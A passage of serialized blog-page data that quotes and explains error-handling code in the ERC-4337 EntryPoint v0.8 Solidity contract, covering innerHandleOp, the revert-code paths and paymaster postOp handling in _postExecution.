gasleft",{"type":24,"tag":327,"props":112039,"children":112040},{"style":346},[112041],{"type":29,"value":7338},{"type":24,"tag":327,"props":112043,"children":112044},{"style":381},[112045],{"type":29,"value":394},{"type":24,"tag":327,"props":112047,"children":112048},{"style":346},[112049],{"type":29,"value":112050}," opInfo.preOpGas;\n",{"type":24,"tag":327,"props":112052,"children":112053},{"class":329,"line":4990},[112054,112058,112062,112066],{"type":24,"tag":327,"props":112055,"children":112056},{"style":1639},[112057],{"type":29,"value":110187},{"type":24,"tag":327,"props":112059,"children":112060},{"style":346},[112061],{"type":29,"value":110834},{"type":24,"tag":327,"props":112063,"children":112064},{"style":381},[112065],{"type":29,"value":384},{"type":24,"tag":327,"props":112067,"children":112068},{"style":346},[112069],{"type":29,"value":112070}," opInfo.prefund;\n",{"type":24,"tag":327,"props":112072,"children":112073},{"class":329,"line":4999},[112074,112079],{"type":24,"tag":327,"props":112075,"children":112076},{"style":340},[112077],{"type":29,"value":112078},"                _emitPrefundTooLow",{"type":24,"tag":327,"props":112080,"children":112081},{"style":346},[112082],{"type":29,"value":112083},"(opInfo);\n",{"type":24,"tag":327,"props":112085,"children":112086},{"class":329,"line":5042},[112087,112092,112097,112101],{"type":24,"tag":327,"props":112088,"children":112089},{"style":340},[112090],{"type":29,"value":112091},"                _emitUserOperationEvent",{"type":24,"tag":327,"props":112093,"children":112094},{"style":346},[112095],{"type":29,"value":112096},"(opInfo, ",{"type":24,"tag":327,"props":112098,"children":112099},{"style":334},[112100],{"type":29,"value":15736},{"type":24,"tag":327,"props":112102,"children":112103},{"style":346},[112104],{"type":29,"value":112105},", actualGasCost, actualGas);\n",{"type":24,"tag":327,"props":112107,"children":112108},{"class":329,"line":5075},[112109,112113,112117],{"type":24,"tag":327,"props":112110,"children":112111},{"style":346},[112112],{"type":29,"value":111832},{"type":24,"tag":327,"props":112114,"children":112115},{"style":381},[112116],{"type":29,"value":384},{"type":24,"tag":327,"props":112118,"children":112119},{"style":346},[112120],{"type":29,"value":112121}," actualGasCost;\n",{"type":24,"tag":327,"props":112123,"children":112124},{"class":329,"line":5083},[112125,112129,112133],{"type":24,"tag":327,"props":112126,"children":112127},{"style":346},[112128],{"type":29,"value":77319},{"type":24,"tag":327,"props":112130,"children":112131},{"style":425},[112132],{"type":29,"value":492},{"type":24,"tag":327,"props":112134,"children":112135},{"style":346},[112136],{"type":29,"value":497},{"type":24,"tag":327,"props":112138,"children":112139},{"class":329,"line":5091},[112140],{"type":24,"tag":327,"props":112141,"children":112142},{"style":346},[112143],{"type":29,"value":111528},{"type":24,"tag":327,"props":112145,"children":112146},{"class":329,"line":5100},[112147,112151,112155,112160],{"type":24,"tag":327,"props":112148,"children":112149},{"style":346},[112150],{"type":29,"value":111832},{"type":24,"tag":327,"props":112152,"children":112153},{"style":381},[112154],{"type":29,"value":384},{"type":24,"tag":327,"props":112156,"children":112157},{"style":340},[112158],{"type":29,"value":112159}," _postExecution",{"type":24,"tag":327,"props":112161,"children":112162},{"style":346},[112163],{"type":29,"value":4663},{"type":24,"tag":327,"props":112165,"children":112166},{"class":329,"line":5176},[112167],{"type":24,"tag":327,"props":112168,"children":112169},{"style":346},[112170],{"type":29,"value":112171},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":24,"tag":327,"props":112173,"children":112174},{"class":329,"line":5209},[112175],{"type":24,"tag":327,"props":112176,"children":112177},{"style":346},[112178],{"type":29,"value":112179},"                    opInfo,\n",{"type":24,"tag":327,"props":112181,"children":112182},{"class":329,"line":5217},[112183],{"type":24,"tag":327,"props":112184,"children":112185},{"style":346},[112186],{"type":29,"value":112187},"                    context,\n",{"type":24,"tag":327,"props":112189,"children":112190},{"class":329,"line":5225},[112191],{"type":24,"tag":327,"props":112192,"children":112193},{"style":346},[112194],{"type":29,"value":112195},"                    actualGas\n",{"type":24,"tag":327,"props":112197,"children":112198},{"class":329,"line":5263},[112199],{"type":24,"tag":327,"props":112200,"children":112201},{"style":346},[112202],{"type":29,"value":112203},"                );\n",{"type":24,"tag":327,"props":112205,"children":112206},{"class":329,"line":5276},[112207],{"type":24,"tag":327,"props":112208,"children":112209},{"style":346},[112210],{"type":29,"value":65607},{"type":24,"tag":327,"props":112212,"children":112213},{"class":329,"line":5289},[112214],{"type":24,"tag":327,"props":112215,"children":112216},{"style":346},[112217],{"type":29,"value":8989},{"type":24,"tag":327,"props":112219,"children":112220},{"class":329,"line":5302},[112221],{"type":24,"tag":327,"props":112222,"children":112223},{"style":346},[112224],{"type":29,"value":535},{"type":24,"tag":25,"props":112226,"children":112227},{},[112228,112230,112235,112237,112243,112245,112251,112253,112259],{"type":29,"value":112229},"During execution, the ",{"type":24,"tag":284,"props":112231,"children":112233},{"className":112232},[],[112234],{"type":29,"value":108990},{"type":29,"value":112236}," contract makes a ",{"type":24,"tag":57,"props":112238,"children":112241},{"href":112239,"rel":112240},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[61],[112242],{"type":29,"value":45009},{"type":29,"value":112244}," to its own ",{"type":24,"tag":284,"props":112246,"children":112248},{"className":112247},[],[112249],{"type":29,"value":112250},"innerHandleOp",{"type":29,"value":112252}," function through a low-level ",{"type":24,"tag":284,"props":112254,"children":112256},{"className":112255},[],[112257],{"type":29,"value":112258},"call()",{"type":29,"value":112260},". This is done to create a new call context for executing the user operation.",{"type":24,"tag":25,"props":112262,"children":112263},{},[112264,112266,112272,112273,112278,112280,112287,112289,112295],{"type":29,"value":112265},"If this call fails (when ",{"type":24,"tag":284,"props":112267,"children":112269},{"className":112268},[],[112270],{"type":29,"value":112271},"success",{"type":29,"value":13069},{"type":24,"tag":284,"props":112274,"children":112276},{"className":112275},[],[112277],{"type":29,"value":15736},{"type":29,"value":112279},"), the code enters an ",{"type":24,"tag":57,"props":112281,"children":112284},{"href":112282,"rel":112283},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[61],[112285],{"type":29,"value":112286},"error handling",{"type":29,"value":112288}," flow that checks the ",{"type":24,"tag":284,"props":112290,"children":112292},{"className":112291},[],[112293],{"type":29,"value":112294},"innerRevertCode",{"type":29,"value":112296},". There are three possible paths:",{"type":24,"tag":175,"props":112298,"children":112299},{},[112300,112324,112342],{"type":24,"tag":179,"props":112301,"children":112302},{},[112303,112304,112309,112310,112316,112318,112323],{"type":29,"value":15042},{"type":24,"tag":284,"props":112305,"children":112307},{"className":112306},[],[112308],{"type":29,"value":112294},{"type":29,"value":13069},{"type":24,"tag":284,"props":112311,"children":112313},{"className":112312},[],[112314],{"type":29,"value":112315},"INNER_OUT_OF_GAS",{"type":29,"value":112317},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":24,"tag":284,"props":112319,"children":112321},{"className":112320},[],[112322],{"type":29,"value":111967},{"type":29,"value":66},{"type":24,"tag":179,"props":112325,"children":112326},{},[112327,112328,112333,112334,112340],{"type":29,"value":15042},{"type":24,"tag":284,"props":112329,"children":112331},{"className":112330},[],[112332],{"type":29,"value":112294},{"type":29,"value":13069},{"type":24,"tag":284,"props":112335,"children":112337},{"className":112336},[],[112338],{"type":29,"value":112339},"INNER_REVERT_LOW_PREFUND",{"type":29,"value":112341},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":24,"tag":179,"props":112343,"children":112344},{},[112345,112347,112353,112355,112361],{"type":29,"value":112346},"For any other revert reason, the code will still call ",{"type":24,"tag":284,"props":112348,"children":112350},{"className":112349},[],[112351],{"type":29,"value":112352},"_postExecution()",{"type":29,"value":112354}," but with ",{"type":24,"tag":284,"props":112356,"children":112358},{"className":112357},[],[112359],{"type":29,"value":112360},"PostOpMode.postOpReverted",{"type":29,"value":112362},". This ensures proper cleanup happens even on failure.",{"type":24,"tag":25,"props":112364,"children":112365},{},[112366,112368,112373,112375,112380,112382,112387,112389,112394],{"type":29,"value":112367},"We're particularly interested in the third error path, where ",{"type":24,"tag":284,"props":112369,"children":112371},{"className":112370},[],[112372],{"type":29,"value":112294},{"type":29,"value":112374}," is neither ",{"type":24,"tag":284,"props":112376,"children":112378},{"className":112377},[],[112379],{"type":29,"value":112315},{"type":29,"value":112381}," nor ",{"type":24,"tag":284,"props":112383,"children":112385},{"className":112384},[],[112386],{"type":29,"value":112339},{"type":29,"value":112388},". To understand this case better, let's examine how ",{"type":24,"tag":284,"props":112390,"children":112392},{"className":112391},[],[112393],{"type":29,"value":112250},{"type":29,"value":112395}," works.",{"type":24,"tag":317,"props":112397,"children":112399},{"className":12046,"code":112398,"language":12045,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[112400],{"type":24,"tag":284,"props":112401,"children":112402},{"__ignoreMap":7},[112403,112419,112440,112460,112476,112509,112516,112533,112557,112597,112616,112641,112675,112699,112716,112724,112732,112740,112748,112756,112763,112776,112793,112800,112807,112814,112825,112864,112880,112887],{"type":24,"tag":327,"props":112404,"children":112405},{"class":329,"line":330},[112406,112410,112415],{"type":24,"tag":327,"props":112407,"children":112408},{"style":334},[112409],{"type":29,"value":96558},{"type":24,"tag":327,"props":112411,"children":112412},{"style":340},[112413],{"type":29,"value":112414}," innerHandleOp",{"type":24,"tag":327,"props":112416,"children":112417},{"style":346},[112418],{"type":29,"value":4663},{"type":24,"tag":327,"props":112420,"children":112421},{"class":329,"line":367},[112422,112427,112431,112436],{"type":24,"tag":327,"props":112423,"children":112424},{"style":1639},[112425],{"type":29,"value":112426},"        bytes",{"type":24,"tag":327,"props":112428,"children":112429},{"style":334},[112430],{"type":29,"value":109807},{"type":24,"tag":327,"props":112432,"children":112433},{"style":356},[112434],{"type":29,"value":112435}," callData",{"type":24,"tag":327,"props":112437,"children":112438},{"style":346},[112439],{"type":29,"value":2231},{"type":24,"tag":327,"props":112441,"children":112442},{"class":329,"line":408},[112443,112447,112451,112456],{"type":24,"tag":327,"props":112444,"children":112445},{"style":334},[112446],{"type":29,"value":111467},{"type":24,"tag":327,"props":112448,"children":112449},{"style":334},[112450],{"type":29,"value":109807},{"type":24,"tag":327,"props":112452,"children":112453},{"style":356},[112454],{"type":29,"value":112455}," opInfo",{"type":24,"tag":327,"props":112457,"children":112458},{"style":346},[112459],{"type":29,"value":2231},{"type":24,"tag":327,"props":112461,"children":112462},{"class":329,"line":421},[112463,112467,112471],{"type":24,"tag":327,"props":112464,"children":112465},{"style":1639},[112466],{"type":29,"value":112426},{"type":24,"tag":327,"props":112468,"children":112469},{"style":334},[112470],{"type":29,"value":109739},{"type":24,"tag":327,"props":112472,"children":112473},{"style":356},[112474],{"type":29,"value":112475}," context\n",{"type":24,"tag":327,"props":112477,"children":112478},{"class":329,"line":450},[112479,112484,112489,112493,112497,112501,112505],{"type":24,"tag":327,"props":112480,"children":112481},{"style":346},[112482],{"type":29,"value":112483},"    ) ",{"type":24,"tag":327,"props":112485,"children":112486},{"style":334},[112487],{"type":29,"value":112488},"external",{"type":24,"tag":327,"props":112490,"children":112491},{"style":425},[112492],{"type":29,"value":82720},{"type":24,"tag":327,"props":112494,"children":112495},{"style":346},[112496],{"type":29,"value":5894},{"type":24,"tag":327,"props":112498,"children":112499},{"style":1639},[112500],{"type":29,"value":52887},{"type":24,"tag":327,"props":112502,"children":112503},{"style":356},[112504],{"type":29,"value":110548},{"type":24,"tag":327,"props":112506,"children":112507},{"style":346},[112508],{"type":29,"value":364},{"type":24,"tag":327,"props":112510,"children":112511},{"class":329,"line":481},[112512],{"type":24,"tag":327,"props":112513,"children":112514},{"style":346},[112515],{"type":29,"value":111528},{"type":24,"tag":327,"props":112517,"children":112518},{"class":329,"line":500},[112519,112524,112528],{"type":24,"tag":327,"props":112520,"children":112521},{"style":346},[112522],{"type":29,"value":112523},"        IPaymaster.PostOpMode mode ",{"type":24,"tag":327,"props":112525,"children":112526},{"style":381},[112527],{"type":29,"value":384},{"type":24,"tag":327,"props":112529,"children":112530},{"style":346},[112531],{"type":29,"value":112532}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":24,"tag":327,"props":112534,"children":112535},{"class":329,"line":529},[112536,112540,112545,112549,112553],{"type":24,"tag":327,"props":112537,"children":112538},{"style":425},[112539],{"type":29,"value":8861},{"type":24,"tag":327,"props":112541,"children":112542},{"style":346},[112543],{"type":29,"value":112544}," (callData.length ",{"type":24,"tag":327,"props":112546,"children":112547},{"style":381},[112548],{"type":29,"value":438},{"type":24,"tag":327,"props":112550,"children":112551},{"style":397},[112552],{"type":29,"value":6695},{"type":24,"tag":327,"props":112554,"children":112555},{"style":346},[112556],{"type":29,"value":364},{"type":24,"tag":327,"props":112558,"children":112559},{"class":329,"line":538},[112560,112565,112570,112574,112579,112583,112588,112592],{"type":24,"tag":327,"props":112561,"children":112562},{"style":1639},[112563],{"type":29,"value":112564},"            bool",{"type":24,"tag":327,"props":112566,"children":112567},{"style":346},[112568],{"type":29,"value":112569}," success ",{"type":24,"tag":327,"props":112571,"children":112572},{"style":381},[112573],{"type":29,"value":384},{"type":24,"tag":327,"props":112575,"children":112576},{"style":346},[112577],{"type":29,"value":112578}," Exec.",{"type":24,"tag":327,"props":112580,"children":112581},{"style":340},[112582],{"type":29,"value":45009},{"type":24,"tag":327,"props":112584,"children":112585},{"style":346},[112586],{"type":29,"value":112587},"(mUserOp.sender, ",{"type":24,"tag":327,"props":112589,"children":112590},{"style":397},[112591],{"type":29,"value":2988},{"type":24,"tag":327,"props":112593,"children":112594},{"style":346},[112595],{"type":29,"value":112596},", callData, callGasLimit);\n",{"type":24,"tag":327,"props":112598,"children":112599},{"class":329,"line":547},[112600,112604,112608,112612],{"type":24,"tag":327,"props":112601,"children":112602},{"style":425},[112603],{"type":29,"value":65523},{"type":24,"tag":327,"props":112605,"children":112606},{"style":346},[112607],{"type":29,"value":5894},{"type":24,"tag":327,"props":112609,"children":112610},{"style":381},[112611],{"type":29,"value":1986},{"type":24,"tag":327,"props":112613,"children":112614},{"style":346},[112615],{"type":29,"value":111900},{"type":24,"tag":327,"props":112617,"children":112618},{"class":329,"line":557},[112619,112623,112628,112632,112637],{"type":24,"tag":327,"props":112620,"children":112621},{"style":1639},[112622],{"type":29,"value":110187},{"type":24,"tag":327,"props":112624,"children":112625},{"style":346},[112626],{"type":29,"value":112627}," freePtr ",{"type":24,"tag":327,"props":112629,"children":112630},{"style":381},[112631],{"type":29,"value":384},{"type":24,"tag":327,"props":112633,"children":112634},{"style":340},[112635],{"type":29,"value":112636}," _getFreePtr",{"type":24,"tag":327,"props":112638,"children":112639},{"style":346},[112640],{"type":29,"value":4838},{"type":24,"tag":327,"props":112642,"children":112643},{"class":329,"line":586},[112644,112648,112652,112657,112661,112665,112670],{"type":24,"tag":327,"props":112645,"children":112646},{"style":1639},[112647],{"type":29,"value":111584},{"type":24,"tag":327,"props":112649,"children":112650},{"style":334},[112651],{"type":29,"value":109807},{"type":24,"tag":327,"props":112653,"children":112654},{"style":346},[112655],{"type":29,"value":112656}," result ",{"type":24,"tag":327,"props":112658,"children":112659},{"style":381},[112660],{"type":29,"value":384},{"type":24,"tag":327,"props":112662,"children":112663},{"style":346},[112664],{"type":29,"value":112578},{"type":24,"tag":327,"props":112666,"children":112667},{"style":340},[112668],{"type":29,"value":112669},"getReturnData",{"type":24,"tag":327,"props":112671,"children":112672},{"style":346},[112673],{"type":29,"value":112674},"(REVERT_REASON_MAX_LEN);\n",{"type":24,"tag":327,"props":112676,"children":112677},{"class":329,"line":1017},[112678,112682,112687,112691,112695],{"type":24,"tag":327,"props":112679,"children":112680},{"style":425},[112681],{"type":29,"value":110247},{"type":24,"tag":327,"props":112683,"children":112684},{"style":346},[112685],{"type":29,"value":112686}," (result.length ",{"type":24,"tag":327,"props":112688,"children":112689},{"style":381},[112690],{"type":29,"value":438},{"type":24,"tag":327,"props":112692,"children":112693},{"style":397},[112694],{"type":29,"value":6695},{"type":24,"tag":327,"props":112696,"children":112697},{"style":346},[112698],{"type":29,"value":364},{"type":24,"tag":327,"props":112700,"children":112701},{"class":329,"line":1026},[112702,112707,112712],{"type":24,"tag":327,"props":112703,"children":112704},{"style":425},[112705],{"type":29,"value":112706},"                    emit",{"type":24,"tag":327,"props":112708,"children":112709},{"style":340},[112710],{"type":29,"value":112711}," UserOperationRevertReason",{"type":24,"tag":327,"props":112713,"children":112714},{"style":346},[112715],{"type":29,"value":4663},{"type":24,"tag":327,"props":112717,"children":112718},{"class":329,"line":1048},[112719],{"type":24,"tag":327,"props":112720,"children":112721},{"style":346},[112722],{"type":29,"value":112723},"                        opInfo.userOpHash,\n",{"type":24,"tag":327,"props":112725,"children":112726},{"class":329,"line":1067},[112727],{"type":24,"tag":327,"props":112728,"children":112729},{"style":346},[112730],{"type":29,"value":112731},"                        mUserOp.sender,\n",{"type":24,"tag":327,"props":112733,"children":112734},{"class":329,"line":1075},[112735],{"type":24,"tag":327,"props":112736,"children":112737},{"style":346},[112738],{"type":29,"value":112739},"                        mUserOp.nonce,\n",{"type":24,"tag":327,"props":112741,"children":112742},{"class":329,"line":1084},[112743],{"type":24,"tag":327,"props":112744,"children":112745},{"style":346},[112746],{"type":29,"value":112747},"                        result\n",{"type":24,"tag":327,"props":112749,"children":112750},{"class":329,"line":1100},[112751],{"type":24,"tag":327,"props":112752,"children":112753},{"style":346},[112754],{"type":29,"value":112755},"                    );\n",{"type":24,"tag":327,"props":112757,"children":112758},{"class":329,"line":1128},[112759],{"type":24,"tag":327,"props":112760,"children":112761},{"style":346},[112762],{"type":29,"value":77796},{"type":24,"tag":327,"props":112764,"children":112765},{"class":329,"line":1148},[112766,112771],{"type":24,"tag":327,"props":112767,"children":112768},{"style":340},[112769],{"type":29,"value":112770},"                _restoreFreePtr",{"type":24,"tag":327,"props":112772,"children":112773},{"style":346},[112774],{"type":29,"value":112775},"(freePtr);\n",{"type":24,"tag":327,"props":112777,"children":112778},{"class":329,"line":1176},[112779,112784,112788],{"type":24,"tag":327,"props":112780,"children":112781},{"style":346},[112782],{"type":29,"value":112783},"                mode ",{"type":24,"tag":327,"props":112785,"children":112786},{"style":381},[112787],{"type":29,"value":384},{"type":24,"tag":327,"props":112789,"children":112790},{"style":346},[112791],{"type":29,"value":112792}," IPaymaster.PostOpMode.opReverted;\n",{"type":24,"tag":327,"props":112794,"children":112795},{"class":329,"line":1184},[112796],{"type":24,"tag":327,"props":112797,"children":112798},{"style":346},[112799],{"type":29,"value":65607},{"type":24,"tag":327,"props":112801,"children":112802},{"class":329,"line":1192},[112803],{"type":24,"tag":327,"props":112804,"children":112805},{"style":346},[112806],{"type":29,"value":8989},{"type":24,"tag":327,"props":112808,"children":112809},{"class":329,"line":1212},[112810],{"type":24,"tag":327,"props":112811,"children":112812},{"emptyLinePlaceholder":16},[112813],{"type":29,"value":544},{"type":24,"tag":327,"props":112815,"children":112816},{"class":329,"line":4841},[112817,112821],{"type":24,"tag":327,"props":112818,"children":112819},{"style":425},[112820],{"type":29,"value":109843},{"type":24,"tag":327,"props":112822,"children":112823},{"style":346},[112824],{"type":29,"value":497},{"type":24,"tag":327,"props":112826,"children":112827},{"class":329,"line":4862},[112828,112832,112836,112840,112844,112848,112852,112856,112860],{"type":24,"tag":327,"props":112829,"children":112830},{"style":1639},[112831],{"type":29,"value":109855},{"type":24,"tag":327,"props":112833,"children":112834},{"style":346},[112835],{"type":29,"value":112019},{"type":24,"tag":327,"props":112837,"children":112838},{"style":381},[112839],{"type":29,"value":384},{"type":24,"tag":327,"props":112841,"children":112842},{"style":346},[112843],{"type":29,"value":112028},{"type":24,"tag":327,"props":112845,"children":112846},{"style":381},[112847],{"type":29,"value":11899},{"type":24,"tag":327,"props":112849,"children":112850},{"style":334},[112851],{"type":29,"value":112037},{"type":24,"tag":327,"props":112853,"children":112854},{"style":346},[112855],{"type":29,"value":7338},{"type":24,"tag":327,"props":112857,"children":112858},{"style":381},[112859],{"type":29,"value":394},{"type":24,"tag":327,"props":112861,"children":112862},{"style":346},[112863],{"type":29,"value":112050},{"type":24,"tag":327,"props":112865,"children":112866},{"class":329,"line":4870},[112867,112871,112875],{"type":24,"tag":327,"props":112868,"children":112869},{"style":425},[112870],{"type":29,"value":85803},{"type":24,"tag":327,"props":112872,"children":112873},{"style":340},[112874],{"type":29,"value":112159},{"type":24,"tag":327,"props":112876,"children":112877},{"style":346},[112878],{"type":29,"value":112879},"(mode, opInfo, context, actualGas);\n",{"type":24,"tag":327,"props":112881,"children":112882},{"class":329,"line":4879},[112883],{"type":24,"tag":327,"props":112884,"children":112885},{"style":346},[112886],{"type":29,"value":8989},{"type":24,"tag":327,"props":112888,"children":112889},{"class":329,"line":4913},[112890],{"type":24,"tag":327,"props":112891,"children":112892},{"style":346},[112893],{"type":29,"value":535},{"type":24,"tag":25,"props":112895,"children":112896},{},[112897,112899,112904,112906,112911,112913,112919,112921,112927,112929,112934,112936,112946],{"type":29,"value":112898},"We observe that, in the happy path, ",{"type":24,"tag":284,"props":112900,"children":112902},{"className":112901},[],[112903],{"type":29,"value":112250},{"type":29,"value":112905}," is expected to not only execute the actual ",{"type":24,"tag":284,"props":112907,"children":112909},{"className":112908},[],[112910],{"type":29,"value":108909},{"type":29,"value":112912}," call, but also call ",{"type":24,"tag":284,"props":112914,"children":112916},{"className":112915},[],[112917],{"type":29,"value":112918},"_postExecution",{"type":29,"value":112920},". This means that the third failure handling path, which passes ",{"type":24,"tag":284,"props":112922,"children":112924},{"className":112923},[],[112925],{"type":29,"value":112926},"postOpReverted",{"type":29,"value":112928}," as its mode, happens when something goes wrong with the ",{"type":24,"tag":284,"props":112930,"children":112932},{"className":112931},[],[112933],{"type":29,"value":112918},{"type":29,"value":112935}," call ",{"type":24,"tag":188,"props":112937,"children":112938},{},[112939,112941],{"type":29,"value":112940},"inside ",{"type":24,"tag":284,"props":112942,"children":112944},{"className":112943},[],[112945],{"type":29,"value":112250},{"type":29,"value":66},{"type":24,"tag":25,"props":112948,"children":112949},{},[112950,112952,112957],{"type":29,"value":112951},"Let's examine the ",{"type":24,"tag":284,"props":112953,"children":112955},{"className":112954},[],[112956],{"type":29,"value":112918},{"type":29,"value":112958}," code to understand where the revert might occur.",{"type":24,"tag":317,"props":112960,"children":112962},{"className":12046,"code":112961,"language":12045,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[112963],{"type":24,"tag":284,"props":112964,"children":112965},{"__ignoreMap":7},[112966,112981,113006,113025,113044,113056,113093,113100,113132,113149,113164,113180,113204,113229,113253,113275,113293,113310,113318,113336,113352,113385,113403,113410,113417,113425,113441,113473,113495,113502,113509,113516],{"type":24,"tag":327,"props":112967,"children":112968},{"class":329,"line":330},[112969,112973,112977],{"type":24,"tag":327,"props":112970,"children":112971},{"style":334},[112972],{"type":29,"value":96558},{"type":24,"tag":327,"props":112974,"children":112975},{"style":340},[112976],{"type":29,"value":112159},{"type":24,"tag":327,"props":112978,"children":112979},{"style":346},[112980],{"type":29,"value":4663},{"type":24,"tag":327,"props":112982,"children":112983},{"class":329,"line":367},[112984,112989,112993,112997,113002],{"type":24,"tag":327,"props":112985,"children":112986},{"style":334},[112987],{"type":29,"value":112988},"        IPaymaster",{"type":24,"tag":327,"props":112990,"children":112991},{"style":346},[112992],{"type":29,"value":66},{"type":24,"tag":327,"props":112994,"children":112995},{"style":356},[112996],{"type":29,"value":110519},{"type":24,"tag":327,"props":112998,"children":112999},{"style":356},[113000],{"type":29,"value":113001}," mode",{"type":24,"tag":327,"props":113003,"children":113004},{"style":346},[113005],{"type":29,"value":2231},{"type":24,"tag":327,"props":113007,"children":113008},{"class":329,"line":408},[113009,113013,113017,113021],{"type":24,"tag":327,"props":113010,"children":113011},{"style":334},[113012],{"type":29,"value":111467},{"type":24,"tag":327,"props":113014,"children":113015},{"style":334},[113016],{"type":29,"value":109807},{"type":24,"tag":327,"props":113018,"children":113019},{"style":356},[113020],{"type":29,"value":112455},{"type":24,"tag":327,"props":113022,"children":113023},{"style":346},[113024],{"type":29,"value":2231},{"type":24,"tag":327,"props":113026,"children":113027},{"class":329,"line":421},[113028,113032,113036,113040],{"type":24,"tag":327,"props":113029,"children":113030},{"style":1639},[113031],{"type":29,"value":112426},{"type":24,"tag":327,"props":113033,"children":113034},{"style":334},[113035],{"type":29,"value":109807},{"type":24,"tag":327,"props":113037,"children":113038},{"style":356},[113039],{"type":29,"value":83067},{"type":24,"tag":327,"props":113041,"children":113042},{"style":346},[113043],{"type":29,"value":2231},{"type":24,"tag":327,"props":113045,"children":113046},{"class":329,"line":450},[113047,113051],{"type":24,"tag":327,"props":113048,"children":113049},{"style":1639},[113050],{"type":29,"value":96736},{"type":24,"tag":327,"props":113052,"children":113053},{"style":356},[113054],{"type":29,"value":113055}," actualGas\n",{"type":24,"tag":327,"props":113057,"children":113058},{"class":329,"line":481},[113059,113063,113068,113073,113077,113081,113085,113089],{"type":24,"tag":327,"props":113060,"children":113061},{"style":346},[113062],{"type":29,"value":112483},{"type":24,"tag":327,"props":113064,"children":113065},{"style":334},[113066],{"type":29,"value":113067},"internal",{"type":24,"tag":327,"props":113069,"children":113070},{"style":334},[113071],{"type":29,"value":113072}," virtual",{"type":24,"tag":327,"props":113074,"children":113075},{"style":425},[113076],{"type":29,"value":82720},{"type":24,"tag":327,"props":113078,"children":113079},{"style":346},[113080],{"type":29,"value":5894},{"type":24,"tag":327,"props":113082,"children":113083},{"style":1639},[113084],{"type":29,"value":52887},{"type":24,"tag":327,"props":113086,"children":113087},{"style":356},[113088],{"type":29,"value":110548},{"type":24,"tag":327,"props":113090,"children":113091},{"style":346},[113092],{"type":29,"value":364},{"type":24,"tag":327,"props":113094,"children":113095},{"class":329,"line":500},[113096],{"type":24,"tag":327,"props":113097,"children":113098},{"style":346},[113099],{"type":29,"value":111528},{"type":24,"tag":327,"props":113101,"children":113102},{"class":329,"line":529},[113103,113107,113112,113116,113120,113124,113128],{"type":24,"tag":327,"props":113104,"children":113105},{"style":425},[113106],{"type":29,"value":65523},{"type":24,"tag":327,"props":113108,"children":113109},{"style":346},[113110],{"type":29,"value":113111}," (paymaster ",{"type":24,"tag":327,"props":113113,"children":113114},{"style":381},[113115],{"type":29,"value":642},{"type":24,"tag":327,"props":113117,"children":113118},{"style":1639},[113119],{"type":29,"value":13816},{"type":24,"tag":327,"props":113121,"children":113122},{"style":346},[113123],{"type":29,"value":349},{"type":24,"tag":327,"props":113125,"children":113126},{"style":397},[113127],{"type":29,"value":2988},{"type":24,"tag":327,"props":113129,"children":113130},{"style":346},[113131],{"type":29,"value":41906},{"type":24,"tag":327,"props":113133,"children":113134},{"class":329,"line":538},[113135,113140,113144],{"type":24,"tag":327,"props":113136,"children":113137},{"style":346},[113138],{"type":29,"value":113139},"                refundAddress ",{"type":24,"tag":327,"props":113141,"children":113142},{"style":381},[113143],{"type":29,"value":384},{"type":24,"tag":327,"props":113145,"children":113146},{"style":346},[113147],{"type":29,"value":113148}," mUserOp.sender;\n",{"type":24,"tag":327,"props":113150,"children":113151},{"class":329,"line":547},[113152,113156,113160],{"type":24,"tag":327,"props":113153,"children":113154},{"style":346},[113155],{"type":29,"value":77319},{"type":24,"tag":327,"props":113157,"children":113158},{"style":425},[113159],{"type":29,"value":492},{"type":24,"tag":327,"props":113161,"children":113162},{"style":346},[113163],{"type":29,"value":497},{"type":24,"tag":327,"props":113165,"children":113166},{"class":329,"line":557},[113167,113171,113175],{"type":24,"tag":327,"props":113168,"children":113169},{"style":346},[113170],{"type":29,"value":113139},{"type":24,"tag":327,"props":113172,"children":113173},{"style":381},[113174],{"type":29,"value":384},{"type":24,"tag":327,"props":113176,"children":113177},{"style":346},[113178],{"type":29,"value":113179}," 